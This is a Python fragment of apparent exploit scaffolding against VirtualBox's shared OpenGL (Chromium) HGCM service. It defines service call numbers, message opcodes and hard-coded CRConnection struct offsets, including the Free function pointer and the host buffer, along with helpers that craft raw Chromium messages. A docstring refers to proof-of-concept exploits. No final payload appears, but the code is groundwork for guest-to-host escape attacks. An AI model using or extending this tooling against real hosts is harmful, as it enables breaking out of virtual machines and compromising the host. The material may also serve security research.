  SHCRGL_GUEST_FN_READ = 3
  SHCRGL_GUEST_FN_WRITE_READ = 4
  SHCRGL_GUEST_FN_SET_VERSION = 6
  SHCRGL_GUEST_FN_INJECT = 9
  SHCRGL_GUEST_FN_SET_PID = 12
  SHCRGL_GUEST_FN_WRITE_BUFFER = 13
  SHCRGL_GUEST_FN_WRITE_READ_BUFFERED = 14
  SHCRGL_GUEST_FN_GET_CAPS_LEGACY = 15
  SHCRGL_GUEST_FN_GET_CAPS_NEW = 16

  CR_MESSAGE_OPCODES = 0x77474c01
  CR_MESSAGE_WRITEBACK = 0x77474c02
  CR_MESSAGE_ERROR = 0x77474c0b
  CR_MESSAGE_REDIR_PTR = 0x77474c0d

  OFFSET_CONN_CLIENT = 0x248   # p &((CRConnection*)0)->pClient
  OFFSET_CONN_HOSTBUF = 0x238  # p &((CRConnection*)0)->pHostBuffer
  OFFSET_CONN_HOSTBUFSZ = 0x244 # p &((CRConnection*)0)->cbHostBuffer
  OFFSET_CONN_FREE = 0xd8 # p &((CRConnection*)0)->Free

  def set_version(client):
      hgcm_call(client, SHCRGL_GUEST_FN_SET_VERSION, [9, 1])

  def alloc_buf(client, sz, msg='a'):
      buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
      return buf

  def crmsg(client, msg, bufsz=0x1000):
      ''' Allocate a buffer, write a Chromium message to it, and dispatch it. '''
      assert len(msg) <= bufsz
      buf = alloc_buf(client, bufsz, msg)
      # buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, bufsz, 0, msg])
      _, res, _ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf, "A"*bufsz, 1337])
      return res

  def create_context(client):
      '''
      Initialize OpenGL state enough that we can use Chromium properly.
      The call to GLXMakeCurrent is important for some of the PoCs to work.
      '''
      msg = (
          pack("<III", 0x77474c01, 0x41414141, 1)
          + '\0\0\0' + chr(CR_EXTEND_OPCODE)
          + 'aaaa'
          + pack("<I", CR_CREATECONTEXT_EXTEND_OPCODE)
          + ':0'.ljust(256,'\0')
          + pack("<II", 0x25, 0)
          )
      res = crmsg(client, msg)
      ctx, = unpack("<I", res[24:28])

      msg = (
          pack("<III", 0x77474c01, 0x41414141, 1)
          + '\0\0\0' + chr(CR_EXTEND_OPCODE)
          + 'aaaa'
          + pack("<I", CR_WINDOWCREATE_EXTEND_OPCODE)
          + ':0'.ljust(256,'\0')
          + pack("<I", 0x25)
          )
      res = crmsg(client, msg)
      win, = unpack("<I", res[24:28])

      msg = (
          pack("<III", 0x77474c01, 0x41414141, 1)
          + '\0\0\0' + chr(CR_EXTEND_OPCODE)
          + 'aaaa'
          + pack("<I", CR_MAKECURRENT_EXTEND_OPCODE)
          + pack("<III", win, 0x400002, ctx)
          )
      crmsg(client, msg)

  if __name__ == '__main__':
      client = hgcm_connect("VBoxSharedCrOpenGL")
      #set_version(client)
      pass
Comments